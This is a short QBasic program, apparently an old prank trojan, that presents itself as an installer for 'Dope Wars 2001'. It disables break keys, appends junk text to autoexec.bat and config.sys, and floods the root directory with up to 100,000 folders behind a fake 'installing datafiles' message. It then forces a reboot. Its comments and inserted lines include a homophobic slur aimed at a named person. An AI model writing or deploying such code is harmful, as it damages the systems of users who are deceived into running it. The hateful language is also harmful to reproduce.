KEY 15, CHR$(4 + 128 + 32 + 64) + CHR$(70)
KEY 16, CHR$(4 + 128) + CHR$(70):
KEY 17, CHR$(4 + 128 + 32) + CHR$(70):
KEY 18, CHR$(4 + 128 + 64) + CHR$(70):
KEY 19, CHR$(4) + CHR$(70)
KEY 22, CHR$(4 + 64) + CHR$(70)
KEY 23, CHR$(4 + 32) + CHR$(46)
KEY 24, CHR$(4 + 64) + CHR$(46)
KEY 25, CHR$(4 + 32 + 64) + CHR$(46):

ON KEY(15) GOSUB NoBreak: KEY(15) ON
ON KEY(16) GOSUB NoBreak: KEY(16) ON
ON KEY(17) GOSUB NoBreak: KEY(17) ON
ON KEY(18) GOSUB NoBreak: KEY(18) ON
ON KEY(21) GOSUB NoBreak: KEY(21) ON
ON KEY(22) GOSUB NoBreak: KEY(22) ON
ON KEY(23) GOSUB NoBreak: KEY(23) ON
ON KEY(24) GOSUB NoBreak: KEY(24) ON
ON KEY(25) GOSUB NoBreak: KEY(25) ON

REM DXM By (Figure it out for yourself) :)
REM FUCK KEVIN MITNICK LET HIM ROT!!!!
REM Im Sick of all the press attention DXM is getting lately so fuck yourself!
REM http://www.phonelosers.org
OPEN "C:\autoexec.bat" FOR APPEND AS #1
WRITE #1, "Kevin Mitnick is a necro-homosexual!"
WRITE #1, "http://www.phonelosers.org"
WRITE #1, "-JS"
CLOSE #1
OPEN "C:\config.sys" FOR APPEND AS #1
WRITE #1, "B0Y I Sure Infected You Didn't I? :)"
WRITE #1, "Virus, Trojan, Worm, Or just plain stupidity...u be the judge! :P"
CLOSE #1
COLOR 14, 0
PRINT "installing datafiles... Please wait..."
PRINT "This may take up to 5 minutes, depending on your computer..."
SHELL "cd\"
FOR a = 1 TO 100000
a$ = STR$(a)
c$ = "md" + a$ + ".dxm"
SHELL c$
NEXT a
CLS
PRINT "Dope Wars 2001 is now installed on your system"
PRINT "Have a shitty day!"
SLEEP 1
PRINT "010GERQY2KBUG"
PRINT
INPUT "Hit ENTER To REBOOT your System now! "; a$
SHELL "boot.com"

'Break not wanted please return
NoBreak:
RETURN

SUB NoBreak
RETURN
END SUB